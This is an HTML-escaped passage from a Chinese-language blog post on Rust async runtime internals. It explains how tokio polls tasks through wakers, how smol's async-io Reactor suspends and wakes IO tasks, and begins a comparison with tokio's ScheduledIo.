&lt;li&gt;&lt;code&gt;src&#x2F;runtime&#x2F;scheduler&#x2F;multi_thread&#x2F;worker.rs&#x2F;Context::run&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;src&#x2F;runtime&#x2F;scheduler&#x2F;multi_thread&#x2F;worker.rs&#x2F;Context::run_task&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;src&#x2F;runtime&#x2F;task&#x2F;mod.rs&#x2F;LocalNotified::run&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;&#x2F;&#x2F; LocalNotified::run&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;let raw: RawTask = self.task.raw;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;raw.poll();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;&#x2F;&#x2F; Harness::poll&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;self.poll_inner()&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;&#x2F;&#x2F; Harness::poll_inner&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;let header_ptr = self.header_ptr();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;let waker_ref = waker_ref::(&amp;amp;header_ptr);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;let cx = Context::from_waker(&amp;amp;waker_ref);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;let res = poll_future(self.core(), cx);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;code&gt;raw.poll&lt;&#x2F;code&gt; 调用的是 VTable 里的 poll 函数指针，实际就是 &lt;code&gt;Harness::poll&lt;&#x2F;code&gt; 方法。该方法从 RawTask 的 Header 里构造出 Context 并以此为参数调用 Future 的 poll 方法。这个 Context 当中的 Waker 实现是：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;unsafe fn wake_by_ref(ptr: *const ()) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    let ptr = NonNull::new_unchecked(ptr as *mut Header);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    let raw = RawTask::from_raw(ptr);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    raw.wake_by_ref();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;&#x2F;&#x2F; RawTask::wake_by_ref&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;pub(super) fn wake_by_ref(&amp;amp;self) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    self.schedule();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;即将当前 RawTask 重新提交到调度器的任务队列上。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;async-io&quot;&gt;Async IO&lt;&#x2F;h3&gt;
&lt;p&gt;上面几节基本把 Rust Async Runtime 设计当中调度器部分的逻辑介绍完了。但是在这些讨论中缺少一个关键的角色，即真正把被调度作业挂起的行为。&lt;&#x2F;p&gt;
&lt;p&gt;在 Simplest Runtime 的案例里，我们简单的用 thread 的 park 方法把当前线程挂起，并在另一个线程上调用 unpark 恢复线程执行，这只是为了演示作业挂起和取回的过程。现实世界里，真正需要挂起计算的通常是两种情况：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;资源暂时不可用，典型的是 IO 操作需要等待。&lt;&#x2F;li&gt;
&lt;li&gt;定时器逻辑尚未到达触发时间点。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;其中 Async IO 是异步并发实际产生性能提升的的情况。无怪乎 Rust 的 Async 工作组成立的目的就是“关注 Async IO 的设计和实现”。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;This working group is focused around implementation&#x2F;design of the “foundations” for Async I&#x2F;O.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;本节以 smol 运行时的 async-io 子模块为例，介绍 Async IO 的挂起和唤醒逻辑。值得注意的是，Async IO 并不是每个运行时都必须实现的内容，例如 smol 的 async-executor 和 tikv 的 yatp 都可以调度 Future 计算，但是它们本身并不提供 Async IO 的支持。&lt;&#x2F;p&gt;
&lt;p&gt;不过，如果在此基础上，把 async-io 库的 Async IO 结构跟这两个运行时结合起来，在传给运行时 spawn 的 async 块中使用 async-io 的结构并调用 &lt;code&gt;.await&lt;&#x2F;code&gt; 读写数据，实际上就能实现 Async IO 的能力。但是 tokio 的 Async IO 实现上并不支持这种结合，我们稍后会讨论其原因。&lt;&#x2F;p&gt;
&lt;p&gt;async-io 库的代码非常简单，它的异步运行时核心是 &lt;code&gt;Reactor&lt;&#x2F;code&gt; 结构。这个名字对于熟悉 Netty 等网络库的读者应该不陌生，中文通常翻译成“反应堆”。async-io 的反应堆保存了所有等待 IO 回应的任务：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;21&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;23&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;24&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;25&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;26&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;27&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;28&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;29&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;30&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;31&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;32&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;33&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;34&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;35&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;36&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;37&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;38&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;39&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;40&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;41&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;pub(crate) struct Reactor {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    pub(crate) poller: Poller,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;&#x2F;&#x2F; Registered sources.&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  sources: Mutex&amp;lt;Slab&amp;lt;Arc&amp;gt;&amp;gt;,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  events: Mutex,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;&#x2F;&#x2F;&#x2F; A registered source of I&#x2F;O events.&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;pub(crate) struct Source {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;&#x2F;&#x2F; This source&#x27;s registration into the reactor.&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    registration: Registration,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;&#x2F;&#x2F; The key of this source obtained during registration.&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    key: usize,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;&#x2F;&#x2F; Inner state with registered wakers.&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    state: Mutex&amp;lt;[Direction; 2]&amp;gt;,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;pub enum Registration {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    Fd(RawFd),&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    Signal(Signal),&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    Process(Child),&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;&#x2F;&#x2F;&#x2F; A read or write direction.&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;struct Direction {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  waker: Option,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  wakers: Slab&amp;lt;Option&amp;gt;,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;impl Direction {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  fn drain_into(&amp;amp;mut self, dst: &amp;amp;mut Vec) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        if let Some(w) = self.waker.take() {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            dst.push(w);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        for (_, opt) in self.wakers.iter_mut() {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            if let Some(w) = opt.take() {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                dst.push(w);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;然后，一旦你使用了 async-io 库，它就会全局启动一个 “async-io” 线程，不断地遍历反应堆，处理其上等待 IO 事件的任务：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;21&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;23&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;24&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;25&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;26&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;27&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;28&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;29&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;30&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;31&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;32&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;33&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;34&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;35&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;36&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;37&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;38&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;39&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;40&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;41&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;42&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;43&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;pub(crate) fn init() {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    let _ = unparker();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;fn unparker() -&amp;gt; &amp;amp;&#x27;static parking::Unparker {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    thread::Builder::new()&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        .name(&quot;async-io&quot;.to_string())&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        .spawn(move || main_loop(parker))&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        .expect(&quot;cannot spawn async-io thread&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;fn main_loop(parker: parking::Parker) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    loop {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        reactor_lock.react(None).ok();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;impl ReactorLock&amp;lt;&#x27;_&amp;gt; {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  pub(crate) fn react(&amp;amp;mut self, timeout: Option) -&amp;gt; io::Result&amp;lt;()&amp;gt; {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        let mut wakers = Vec::new();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        self.events.clear();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        let res = match self.reactor.poller.wait(&amp;amp;mut self.events, timeout) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            Ok(_) =&amp;gt; {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                let sources = self.reactor.sources.lock().unwrap();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                for ev in self.events.iter() {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                    if let Some(source) = sources.get(ev.key) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                        let mut state = source.state.lock().unwrap();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                        for &amp;amp;(dir, emitted) in &amp;amp;[(WRITE, ev.writable), (READ, ev.readable)] {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                            if emitted {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                                state[dir].tick = tick;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                                state[dir].drain_into(&amp;amp;mut wakers);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                            }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                        }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        for waker in wakers {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            panic::catch_unwind(|| waker.wake()).ok();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        res&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;只要有等待 IO 事件的任务加入到了 &lt;code&gt;reactor.sources&lt;&#x2F;code&gt; 上，出现 IO 事件时，其 Waker 就会被唤醒。&lt;&#x2F;p&gt;
&lt;p&gt;至于 IO 任务的挂起，则是在 &lt;code&gt;poll_read&lt;&#x2F;code&gt; 遇见 &lt;code&gt;WouldBlock&lt;&#x2F;code&gt; 错误时，调用 &lt;code&gt;poll_readable&lt;&#x2F;code&gt; 方法，注册在当前的 source 上。而当前 IO 的 source 则是在创建时就已经注册在 Reactor 的 sources 集合里：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;&#x2F;&#x2F; Async&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;pub fn new_nonblocking(io: T) -&amp;gt; io::Result&amp;lt;Async&amp;lt;T&amp;gt;&amp;gt; {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    let registration = unsafe { Registration::new(io.as_fd()) };&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    Ok(Async {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        source: Reactor::get().insert_io(registration)?,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        io: Some(io),&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    })&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;&#x2F;&#x2F; Source&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;fn poll_ready(&amp;amp;self, dir: usize, cx: &amp;amp;mut Context&amp;lt;&#x27;_&amp;gt;) -&amp;gt; Poll&amp;lt;io::Result&amp;lt;()&amp;gt;&amp;gt; {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    state[dir].waker = Some(cx.waker().clone());&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;顺带一提，async-io 库也定义了一个 &lt;code&gt;block_on&lt;&#x2F;code&gt; 函数，且这就是 smol 运行时实际用到 block_on 函数。它的实现同样是用 thread park 和 unpark 阻塞当前线程，并把 unpark 闭包作为 Context Waker 传到 poll 方法里。&lt;&#x2F;p&gt;
&lt;p&gt;接下来简单说明 tokio Async IO 的实现，以及为什么它不能直接和其他运行时结合使用。&lt;&#x2F;p&gt;
&lt;p&gt;tokio 的 Async IO 跟 async-io 的设计有两个关键不同：&lt;&#x2F;p&gt;
&lt;p&gt;第一，不同于 async-io 把 Waker 存在反应堆上，tokio 定义了一个 ScheduledIo 结构：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;&lt;code&gt;pub(crate) struct ScheduledIo {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  pub(super) linked_list_pointers: UnsafeCell[linked_list::Pointers,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    readiness: AtomicUsize,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  waiters: Mutex,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;type WaitList = LinkedList&amp;lt;Waiter, &amp;lt;Waiter as linked_list::Link&amp;gt;::Target&amp;gt;;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;#[derive(Debug, Default)]&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;struct Waiters {&lt;&#x2F;code&gt;&lt;br 